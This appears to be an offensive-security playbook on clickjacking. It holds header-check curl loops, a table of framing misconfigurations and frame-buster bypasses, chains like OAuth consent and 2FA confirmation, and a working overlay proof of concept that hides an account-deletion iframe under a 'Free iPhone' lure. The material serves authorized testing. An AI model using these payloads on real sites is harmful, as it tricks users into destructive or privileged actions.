Clickjacking Playbook
Framing a sensitive UI under an attacker page lets a single victim click trigger
a privileged action (delete account, transfer funds, grant OAuth scope, confirm
2FA). Severity = severity of the framed action. Pages without X-Frame-Options
and without Content-Security-Policy: frame-ancestors are framable.
1. Detection — framing controls
# Inspect headers on every sensitive page (settings, transfer, oauth/consent, delete, admin)
for path in / /account /account/email /account/delete /transfer /oauth/authorize /admin; do
echo "== $path =="
curl -s -D- -o /dev/null "https://<TARGET>$path" \
| grep -iE "x-frame-options|content-security-policy"
done
# Quick "is it framable?" probe — save to disk, open in a browser
cat > /tmp/cj.html <<'EOF'
<!doctype html><title>frame test</title>
<iframe src="https://<TARGET>/account/delete" width="900" height="600"></iframe>
EOF
# If the iframe renders the target UI → framing allowed.
Server-side allow:
- no
X-Frame-Optionsheader and - no
frame-ancestorsdirective inContent-Security-Policy(orframe-ancestors */ overly broad).
2. Misconfig matrix
| Class | Server behaviour | Exploit |
|---|---|---|
| No XFO, no CSP frame-ancestors | full framing allowed | classic overlay |
XFO: ALLOW-FROM only |
ignored by modern browsers | full framing in Chromium/Firefox |
frame-ancestors * |
explicit allow-all | full framing |
frame-ancestors 'self' *.target.com |
trusts every subdomain | host PoC on a takeable subdomain |
Frame-buster JS only (if (top!=self) top.location=self.location) |
client-side defense | sandbox="allow-forms allow-scripts" (no allow-top-navigation) defeats it |
| 204-frame-buster | response replaces self | <iframe csp="sandbox" ...> or pre-empt with onbeforeunload |
| Drag-and-drop sinks | sensitive textarea framable | drag attacker-controlled string onto target form |
| Cursorjacking | custom cursor + offset | misalign visible vs. real pointer |
| Double-clickjacking | first click opens prompt, second confirms | two-stage overlay (Paulos Yibelo 2024) |
| Touch / pointer gestures | mobile swipe consent | overlay with transparent gesture target |
Permissions-Policy missing |
camera/mic in iframe | request perms in nested iframe over consent UI |
3. Exploit PoC — overlay
<!doctype html>
<html><head><title>Free iPhone</title>
<style>
body { margin:0 }
.lure { position:absolute; z-index:1; top:0; left:0; font:48px sans-serif }
iframe { position:absolute; z-index:2; opacity:0.0001;
top:120px; left:60px; width:400px; height:80px;
border:0; pointer-events:auto; }
</style></head><body>
<div class="lure">
Click <b style="color:red">CLAIM</b> to win an iPhone:
<button style="position:absolute;top:140px;left:120px;width:120px;height:40px">CLAIM</button>
</div>
<!-- aligned so the invisible iframe button sits exactly over CLAIM -->
<iframe src="https://<TARGET>/account/delete?confirm=1"
sandbox="allow-forms allow-scripts allow-same-origin"></iframe>
</body></html>
3.1 Drag-and-drop CJ
<div draggable="true"
Drag me to win
</div>
<iframe src="https://<TARGET>/account/email" style="opacity:.0001" ...></iframe>
3.2 Double-clickjacking (browser confirm dialog)
<button
<!-- victim's 2nd click lands inside the popup on the now-focused "Allow" button -->
4. Chains
- CJ + OAuth consent → silent scope grant → API takeover.
- CJ + CSRF-token leakage → click triggers a state change that reads token from the framed page.
- CJ + self-XSS → coerce victim to paste/drag the payload into a framed input.
- CJ + 2FA confirm → step-up auth confirmed under a lure click.
5. Tools
- Burp Suite — Clickbandit (point-and-click PoC generator)
- clickjacker.io / OWASP Clickjacking Tester
- Manual: any HTML editor + a browser with frame ancestors disabled in dev
6. Detection signatures & OPSEC
| Indicator | Detection method | OPSEC note |
|---|---|---|
| Framing from foreign origin | server-side referer logging | Host PoC on in-scope domain during authorized tests |
| Sudden spike in sensitive actions w/ short dwell time | UX analytics | Demonstrate impact with a single victim profile |
| Browser console CSP report-only violations | CSP report-uri | Validate prod CSP, not staging |
Decision Gate: clickjacking confirmed → exploitation
- Target lacks
X-Frame-Optionsand effectiveframe-ancestors - Frame-buster (if any) bypassed via
sandbox/ CSP tricks - A security-relevant action (delete, grant, transfer, confirm) is reachable in one or two clicks
- PoC visually demonstrates the lure → action mapping
If all checked, escalate per
finding-protocol; otherwise downgrade to informational (framable but no sensitive action).